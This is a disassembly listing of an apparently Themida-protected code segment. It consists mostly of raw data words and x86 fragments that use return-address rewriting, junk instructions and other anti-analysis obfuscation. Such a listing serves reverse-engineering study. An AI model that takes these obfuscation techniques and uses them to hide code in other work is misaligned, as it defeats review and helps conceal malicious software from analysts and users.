		dd 11E860h, 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh
		dd 5AA6B6FAh, 0B58B5F61h, 60B2051h, 0C38BC08Bh,	5F51D88Bh
		dd 13E985C7h, 7799060Bh, 8BFC3BB8h, 85BD81C0h, 0D0060B33h
		dd 0F000007h, 8285h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 850FC79Dh, 4, 22C7BE66h
		dd 338585FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 4F1B4DC3h, 0D8D3F29h, 89821A32h
		dd 0B0211B5h, 0BE806h, 949D0000h, 22F9C858h, 0D5587794h
		dd 0DE83Ch, 36490000h, 0CA58B624h, 727EF89Ch, 89E38BB4h
		dd 0B29EDB5h, 0FF5E5F06h, 0B3385B5h, 0FFF88B06h, 0B32DD95h
		dd 24BE6606h, 8166907Dh, 6A0CEDC6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5D7CC353h
		dd 5720EFCAh, 816632A3h, 8BB3DDCFh, 49BD8BFBh, 66060B0Eh
		dd 5D27EE81h, 9176E681h, 6A240Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 51C91AC3h, 0ED852940h
		dd 0E9060B28h, 0Fh, 0F449F6DEh,	59D238F3h
		dd 6F2262F6h, 6A1D979Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0FECC351h, 3A7ECD8h
		dd 0B169DB5h, 0F7F68106h, 6A6359BCh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 516BC350h
		dd 2D8D01F2h, 66060B21h, 0CB9F681h, 0E1DE8166h,	7ECF8144h
		dd 6A367CC5h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0FF49C357h, 2EBD9D31h,	8166060Bh
		dd 0E92F6BC7h, 0FFFFF743h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 4BC35242h, 800F5Eh, 31000000h, 0B027595h
		dd 81C18B06h, 139CE9CEh, 4EB78h, 89000000h, 0B333D8Dh
		dd 1600BF06h, 6A5744h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0F7E443C3h, 28A9858Dh, 0B58B060Bh
		dd 60B13BDh, 8D0F5350h,	5, 0E544F8BFh, 4895F45h, 68D0F24h
		dd 89000000h, 0B318595h, 56006A06h, 6A006A5Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 2E1EC352h, 0DF81451Eh, 504B4CFEh, 0B10858Dh,	8D01060Fh
		dd 60B2101h, 6A05C083h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 75C0C350h, 60907BDFh
		dd 9E952h, 5E400000h, 0F1E4351Eh, 59EA385Bh, 9F9AB952h
		dd 61596B56h, 60525050h, 6160F38Bh, 0E9310F61h,	0Fh, 323F68DBh
		dd 55524A64h, 0ADF0FC3Dh, 5A8E03B5h, 6A9058h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 6B2F41C3h
		dd 0F78B006Ah, 0B589006Ah, 60B17F5h, 6B5BD8Bh, 95FF060Bh
		dd 60B2F21h, 9D8DF28Bh,	60EA7B0h, 58B0Fh, 81660000h, 0FFCEF1D7h
		dd 0DD9D89D3h, 0FF060B14h, 0B066D85h, 0F2BF0F06h, 71FE9h
		dd 0E800h, 815D0000h, 0F0B1AEDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD8B0B15h
		dd 60B0F41h, 3385BD81h,	7D0060Bh, 860F0000h, 0FAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 6C35141h, 1806B040h
		dd 0B5DB52Bh, 9D8B060Bh, 60B2A9Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0F4C35646h,	0E38143ECh, 100h
		dd 0BF18B66h, 58850FDBh, 66000000h, 35B7D681h, 9CBBD83h
		dd 0F00060Fh, 784h, 4FE9F900h, 0F5000000h, 9CB85C7h, 1060Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 80D3D7C3h, 8960DFAEh, 0B086D85h, 8EBF6606h
		dd 13E961E6h, 66000000h, 0C78257BEh, 0F09CB85h,	6, 0EE816600h
		dd 9D8D49F5h, 60B2A9Dh,	6800Fh,	0E7810000h, 66169241h
		dd 0FEFF2381h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0A418B1C3h, 8C66F113h, 56006ADBh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0CDB509A8h, 0F6060B13h, 840F04C3h, 40h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CAC35141h, 2A7F61D8h
		dd 95FF9E77h, 60B18EDh,	1A85B58Bh, 0EABE060Bh, 506AA55Fh
		dd 89F18B66h, 0E6812404h, 2E02884Eh, 362E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 87DD507Ah, 8F293FA5h, 77E68166h, 0BF00B055h,	8E8C9FFh
		dd 30E5B58Bh, 70E6060Bh, 0E4F6B70Fh, 7D9D3171h,	0F060B00h
		dd 870FD8B6h, 0
; ---------------------------------------------------------------------------
		mov	edx, 6
		mov	edi, [ebp+60B0CDDh]
		mov	eax, ebx
		shr	eax, 4
		xor	si, 7820h
		mul	dx
		push	0
		push	edi
		call	sub_57CDD3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CDD3	proc near		; CODE XREF: Themida_:0057CDCBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_57CDD3	endp

; ---------------------------------------------------------------------------
		dec	esi
		stosb
		movsx	ebx, word ptr [edx+0Eh]
		daa
		sbb	[ebx], ebp
		fsubr	dword ptr [edx+0]
		push	ebp
		call	sub_57CDF8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CDF8	proc near		; CODE XREF: Themida_:0057CDF0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_57CDF8	endp

; ---------------------------------------------------------------------------
		dd 8B662238h, 525050FAh, 312F52BEh, 60310F02h, 6160DF8Bh
		dd 89585A61h, 0BD89241Ch, 60B1141h, 3385B5FFh, 8C0F060Bh
		dd 6, 58D8589h,	95FF060Bh, 60B32DDh, 1EB9B529h,	0B0060Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9DC35343h
		dd 0E6266B25h, 0E4F08B70h, 52006A71h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F613CABh
		dd 23683h, 0F5F5300h, 8166D8B6h, 0BA48F8F6h, 6,	39F78166h
		dd 6AC38BD2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0E03FC353h, 99BD8BB1h,	89060B00h
		dd 0B3229BDh, 4E8C106h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0E2C35343h, 0F9E2F766h, 0B70FD82Bh, 6A58FEh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0B67220C3h, 0C95D75AEh, 0D82B54F2h, 1A1880Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 840F40C3h, 5, 0E52A33BEh, 7B93Ah, 0BD290000h, 60B1A4Dh
		dd 0F00C183h, 0C83h, 68A0F00h, 1000000h, 0B23418Dh, 0FD93B06h
		dd 15286h, 0D98C6600h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0AEC35545h, 0A1BD0930h, 0F6060B1Ah, 840F04C1h
		dd 0F4h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 19h,	7CC35040h, 78B92931h, 0ED95FF03h, 6A060B18h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0E034C353h, 0F70CFF1Ch, 0F1B70FB1h, 0B9BD895Bh, 2B060B05h
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 40094577h, 7E9h,	60199F00h, 621142F8h, 5D8D0957h
		dd 5F060B18h, 8343DFCh,	860F0000h, 60h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0DDC35040h, 0E6E444C8h
		dd 9C02C26Dh, 9E9B0h, 64070000h, 8B3E4BC9h, 8BE5161Dh
		dd 0B1325B5h, 51E906h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 953111C3h, 60B0C71h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 973563C3h, 8BFF9107h, 0B244DBDh, 0ADB50906h
		dd 8B060B2Ah, 8BD88BC3h, 0B0E59BDh, 6D85C706h, 0DF060B2Ah
		dd 0BF5FCEABh, 1D3BC0B2h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 8E86F0C3h, 3880F39h
		dd 66000000h, 0BD81F28Bh, 60B3385h, 7D0h, 44850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 85FF0BC3h, 60B3385h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 7EC35343h, 6939EB18h,	0B5FFB969h, 60B3385h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7EC35040h
		dd 830F4434h, 6, 0C91BD8Bh, 95FF060Bh, 60B32DDh, 60F3B70Fh
		dd 0F49EC381h, 5E96271h, 0A6000000h, 5BC517AAh,	0BE669061h
		dd 0B5896906h, 60B1315h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 6FC35141h, 15EBE437h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 6AC35646h, 3E455A96h
		dd 0AFDE55DDh, 56006A9Fh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0B58BCF7Dh, 60B1131h
		dd 14E9h, 82511B00h, 5696D17h, 4F0898A3h, 196F503Ch, 52B355D0h
		dd 0E880F44h, 51000000h, 20F1BD8Bh, 8A0F060Bh, 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	si, dx
		push	0
		push	ebx
		call	sub_57D257
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D257	proc near		; CODE XREF: Themida_:0057D24Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_57D257	endp

; ---------------------------------------------------------------------------
		pusha
		xchg	eax, esi
		push	0
		push	eax
		call	sub_57D274
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D274	proc near		; CODE XREF: Themida_:0057D26Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57D274	endp

; ---------------------------------------------------------------------------
		jnz	short loc_57D2D2
		call	near ptr loc_57D28D+8
		add	al, 18h


loc_57D28D:				; CODE XREF: Themida_:0057D286p
		sub	dword ptr [edi+edx*2+6A39CA8Fh], 0D58D0958h
		pop	ss
		or	eax, [esi]
		movzx	edi, si
		pop	edi
		push	0
		push	ecx
		call	sub_57D2AA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D2AA	proc near		; CODE XREF: Themida_:0057D2A2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_57D2AA	endp

; ---------------------------------------------------------------------------
		dw 0C548h
		dd 44331D16h, 645BFDE1h, 0E9F8BF0Fh, 0FFFFF8EDh, 1935BD8Bh
; ---------------------------------------------------------------------------
		or	eax, [esi]


loc_57D2D2:				; CODE XREF: Themida_:0057D284j
		mov	[ebp+60B2DFDh],	ecx
		pusha
		push	0
		push	edx
		call	sub_57D2E4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D2E4	proc near		; CODE XREF: Themida_:0057D2DCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_57D2E4	endp

; ---------------------------------------------------------------------------
		dd 37595516h, 0E63A629Eh, 0FFFFFEB9h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0B031C5B5h, 24218D21h, 0E960060Bh, 0Dh, 4D1A3CCh, 0F27D6044h
		dd 48722AE0h, 0D7E980E0h, 9D8D2161h, 6A060B1Ah,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3612C356h, 8166E97Fh, 8B6077DEh, 0B24218Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 1F510EECh, 0E1833BB1h, 22850F01h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 892EC355h, 0B1B3D9Dh, 9D8D8B06h, 6A060B1Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0C072C350h, 8D89603Eh, 60B07FDh, 1F899589h, 6061060Bh
		dd 68E0Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		popa
		and	ecx, 1
		jnz	loc_57D414
		pusha
		mov	cx, 2457h
		add	esi, [ebp+60B1AB1h]
		popa
		mov	[ebp+60B2235h],	ebx


loc_57D414:				; CODE XREF: Themida_:0057D3FCj
		popa
		pusha
		movsx	eax, cx
		mov	ecx, 0FFFFFFFEh
		mov	esi, [ebp+60B07A9h]
		and	[ebp+60B2985h],	ecx
		jnb	loc_57D43E
		pusha
		mov	[ebp+60B18A1h],	ecx
		sbb	ebx, 299DDFC3h
		popa


loc_57D43E:				; CODE XREF: Themida_:0057D42Aj
		and	[ebp+60B00A1h],	ecx
		sub	[ebp+60B18FDh],	ebx
		mov	ecx, [ebp+60B2985h]
		push	0
		push	esi
		call	sub_57D45B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D45B	proc near		; CODE XREF: Themida_:0057D453p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_57D45B	endp

; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------


loc_57D46C:				; CODE XREF: Themida_:loc_57D46Cj
		jns	short loc_57D46C
		jmp	loc_57D487
; ---------------------------------------------------------------------------
		db 0Fh
		dd 8B2BDFE5h, 2244DEE8h, 4FBA7F71h, 0F388535Eh
; ---------------------------------------------------------------------------
		mov	ebp, ss
		cwde


loc_57D487:				; CODE XREF: Themida_:0057D46Ej
		and	ecx, 1
		jnz	loc_57D496
		mov	eax, [ebp+60B02B9h]


loc_57D496:				; CODE XREF: Themida_:0057D48Aj
		mov	ecx, [ebp+60B00A1h]
		mov	esi, 399760A9h
		and	ecx, 1
		jnz	loc_57D4D5
		push	0
		push	edi
		call	sub_57D4B5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D4B5	proc near		; CODE XREF: Themida_:0057D4ADp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_57D4B5	endp

; ---------------------------------------------------------------------------
		db 13h,	62h, 1Dh
; ---------------------------------------------------------------------------
		cmpsd
		mov	ecx, 2587E1Eh
		dec	edx
		mov	eax, [ebp+60B1889h]


loc_57D4D5:				; CODE XREF: Themida_:0057D4A4j
		popa
		pusha
		push	0
		push	eax
		call	sub_57D4E2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D4E2	proc near		; CODE XREF: Themida_:0057D4DAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_57D4E2	endp

; ---------------------------------------------------------------------------
		sbb	cl, [esi-12h]
		aam	4Ah
		and	al, [edi]
		clc
		mov	ecx, 0FFFFFFFEh
		mov	[ebp+60B2439h],	ebx
		and	[ebp+60B0869h],	ecx
		push	0
		push	eax
		call	sub_57D516
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D516	proc near		; CODE XREF: Themida_:0057D50Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57D516	endp

; ---------------------------------------------------------------------------
		dw 8901h
; ---------------------------------------------------------------------------
		and	[ebp+60B13E9h],	ecx
		push	0
		push	eax
		call	sub_57D539
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D539	proc near		; CODE XREF: Themida_:0057D531p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_57D539	endp

; ---------------------------------------------------------------------------
		db 8Fh,	0B0h, 0BFh
; ---------------------------------------------------------------------------
		fdivr	dword ptr [ebx+ecx]
		mov	ecx, [ebp+60B0869h]
		clc
		and	ecx, 1
		jnz	loc_57D584
		push	0
		push	ebp
		call	sub_57D56A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D56A	proc near		; CODE XREF: Themida_:0057D562p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_57D56A	endp

; ---------------------------------------------------------------------------
		dw 5D29h
		dd 22946FD5h, 40E66161h
; ---------------------------------------------------------------------------


loc_57D584:				; CODE XREF: Themida_:0057D559j
		mov	ecx, [ebp+60B13E9h]
		push	0
		push	eax
		call	sub_57D595
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D595	proc near		; CODE XREF: Themida_:0057D58Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_57D595	endp

; ---------------------------------------------------------------------------
		db 0Eh,	9, 1Bh
		dd 3395788Bh, 8E8685Ch,	30000000h, 46D92011h, 8B5F51CEh
		dd 0B07899Dh, 12E95F06h, 1B000000h, 0E9B5F35Fh,	1959FF0Fh
		dd 67785D0Ah, 0F7D77642h, 0F0816692h, 0E183B1E8h, 2A850F01h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 4DD2C357h, 512CE3EAh, 5AD3B70Fh
		dd 0F2C68166h, 8B6061A4h, 0B18B195h, 0FFFEB906h, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8166D6C3h, 2192F6DAh, 0B2A9D8Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 8C7CB299h
		dd 0BF0FF20Ch, 6D8D21DAh, 6A060B2Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E3DBC357h
		dd 70A39D2Fh, 0E79BD8Bh, 8D8B060Bh, 60B2A9Dh, 7199D8Bh
		dd 0E183060Bh, 24850F01h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D455C356h
		dd 816628CBh, 8B0D85E0h, 0B2A6D8Dh, 0AD850906h,	83060B02h
		dd 850F01E1h, 22h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4EC35343h, 0CC88268Ch, 60611DC3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E1C35242h, 0C7DC3476h
		dd 0B338585h, 7D006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 8BB6B621h, 0B0415BDh
		dd 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0EBFCA1C3h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_57D787
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D787	proc near		; CODE XREF: Themida_:0057D77Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_57D787	endp

; ---------------------------------------------------------------------------
		db 0A1h
		dd 2634EC9h, 0DEBF0FB3h, 0F75B58Bh, 6A060Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D529E5C3h
		dd 95EC6693h, 459D095Fh, 8B060B09h, 75E9C1h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	0B01B5FFh, 858D060Bh, 60E7D18h
		dd 8589D0FFh, 60B0F55h,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 0F5595FFh, 32E9060Bh, 0C6000000h, 0B284585h
		dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh
		dd 0A18589D0h, 8D060B33h, 0B0B6185h, 206A5006h,	0FF56056Ah
		dd 0B33A195h, 0C1C36106h, 4BEB06E0h, 2F0E0910h,	4B1AC53Ch
		dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h,	0D129B327h
		dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 1B00A6DBh, 1A0046BDh
		dd 0D5A3EAh, 9C000000h,	0FEC819h, 0FBFE4800h, 28000000h
		dd 0D427E641h, 0E9C3727Dh, 0D0Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 30C35242h, 0D6816007h, 29C043E9h
		dd 0C0816651h, 61590C30h, 6798589h, 0BD83060Bh,	60B0B19h
		dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 7C59C351h, 305FA29Dh
		dd 8BD9BBBDh, 0B1241BDh, 8B605606h, 0B06C18Dh, 0FD9D8B06h
		dd 61060B29h, 0B859h, 0FE90000h, 0E5000000h, 0F36104DCh
		dd 8DAA9417h, 67CBE14Ah, 4C2FB3Fh, 850F00h, 8B000000h
		dd 2820FC0h, 8B000000h,	0BDBD83F9h, 60B05h, 0BD830975h
		dd 60B29D1h, 50137400h,	0B8C08B53h, 4D0h, 0B0EE9D8Dh, 0D3FF060Dh
		dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h
		dd 60DB03Bh, 585BD3FFh,	6D9D2B57h, 59060B2Eh, 8BF9BF0Fh
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8B66C3C0h, 999D8BCEh, 8D060B15h,	0F17EF85h
		dd 0B1BB6606h, 870F50F3h, 4, 877EB966h,	0F240489h, 680h
		dd 42EB8100h, 8D047768h, 0F17AC85h, 0F1816606h,	60503256h
		dd 0DCB4BABAh, 0AE81Bh,	6BB70000h, 83F64808h, 2EF5AE36h
		dd 489615Fh, 10E824h, 42420000h, 0DFAD6283h, 93FE1D63h
		dd 4B303DC1h, 0F58A2457h, 0A18D895Fh, 0FF060B02h, 0B052D95h
		dd 0A850F06h, 0F000000h, 481h, 0F5BF6600h, 24448BA3h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0F0B7C4C7h, 6E9971Eh, 0EA000000h, 0FB90901Fh, 0D785894Bh
		dd 6A060F17h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0AD52C351h, 0FCB7208Fh, 9BAA1B2h
		dd 0B19599Dh, 24448B06h, 0C98D8B08h, 89060B31h,	0F17EB85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 394770F8h, 60413F4Dh, 14E890h, 69FD0000h
		dd 0D44B0FF5h, 56699C11h, 5B61DCB0h, 0A58FD808h, 0E7801A37h
		dd 0BD835BA4h, 60B31C5h, 0B7850F00h, 0F9000000h, 284585C6h
		dd 8047060Bh, 4E851DBh,	0D2000000h, 8BD49AA7h, 8AB250D6h
		dd 424448Bh, 8BA8B2h, 448984B2h, 6A580424h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FF35C355h
		dd 0D6EA9E6Fh, 0C0189DC2h, 1355B5FFh, 0BF0F060Bh, 18858DC9h
		dd 89060E7Dh, 0B2991BDh, 6AD0FF06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2B90C357h
		dd 954E63BAh, 6649E529h, 89098DBBh, 0B31C585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 958973EFh, 60B1A4Dh,	0BD835B51h, 60B13D1h, 0E5850F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 54A7C350h, 903125C3h, 0BFEBEB12h
		dd 57DE280Eh, 284585C6h, 0F847060Bh, 0CA94FC68h, 2404817Fh
		dd 0A4520E6h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	0DAC35747h, 0C2891519h,	147C886h, 0CE9B7h, 2D0F0000h
		dd 5D3DFC38h, 2894ED01h, 0BF0F29D7h, 55B5FFD0h,	6A060B13h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 7BC352h, 6E91F477h, 77A285C7h, 13E58531h
		dd 858D060Bh, 60E7D18h,	1B2D9D8Bh, 0D0FF060Bh, 39DF8166h
		dd 0D1858933h, 6A060B13h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0CDD5C351h,	95895154h
		dd 60B29D5h, 1975BD83h,	0F00060Bh, 0AE85h, 55958900h, 0C6060B1Ah
		dd 0B284585h, 6A5606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 2AE0F2C3h, 20E04872h, 68CA8BDEh
		dd 0CBFB31C1h, 8B0F5260h, 0
; ---------------------------------------------------------------------------
		pop	eax
		mov	ecx, 451A0D0Eh
		popa
		xor	dword ptr [esp], 1FE45CF8h
		pusha
		xor	[ebp+60B06C9h],	eax
		popa
		push	dword ptr [ebp+60B1355h]
		movzx	ebx, ax
		lea	eax, [ebp+60E7D18h]
		jmp	loc_57DD23
; ---------------------------------------------------------------------------
		dw 0ED51h
		dd 0B39E16A4h, 8D37DEEDh, 40407695h
		db 0AAh, 0A1h, 0C2h
; ---------------------------------------------------------------------------


loc_57DD23:				; CODE XREF: Themida_:0057DD0Dj
		adc	dx, 7F93h
		call	eax
		mov	[ebp+60B1389h],	ebx
		mov	[ebp+60B1975h],	eax
		push	0
		push	eax
		call	sub_57DD41
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57DD41	proc near		; CODE XREF: Themida_:0057DD39p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_57DD41	endp

; ---------------------------------------------------------------------------
		db 24h,	0Fh, 0
		dd 0C62832BBh, 0B284585h, 9DB36C06h, 1AE30368h,	10BB60E8h
		dd 0BE2869E2h, 71EDDCC5h, 24348161h, 331F9380h,	17FD9D89h
		dd 0B5FF060Bh, 60B0B01h, 0D858DFCh, 66060B39h, 97A4C381h
		dd 0EE9h, 644CED00h, 49EFA9FCh,	0C4523383h, 0FF4096D0h
		dd 0CE9D0h, 5DD40000h, 18A8CD2h, 0CD984E1Ch, 8589FF59h
		dd 60F17DBh, 0EE8h, 3F26DD00h, 5C36B1E0h, 84B2F11Dh, 0B2DC8F19h
		dd 46A5FC7h, 78D0Fh, 890F0000h,	1, 90C068F8h, 481D17Dh
		dd 827F4024h, 0E860532Eh, 0Fh, 0C62F66D4h, 0B9C0237Bh
		dd 0E63042D1h, 5B870FE1h, 13E9h, 0EB239400h, 4929611Ah
		dd 0FFE5EFF5h, 0EFA5B75Fh, 54988F15h, 4E85961h,	0
		dd 50000100h, 14E8h, 0E9506600h, 7670C19Ch, 699ECC35h
		dd 0B1DF8B10h, 0E42BFAFBh, 0CCBB669Fh, 448B59EEh, 0FFBA0424h
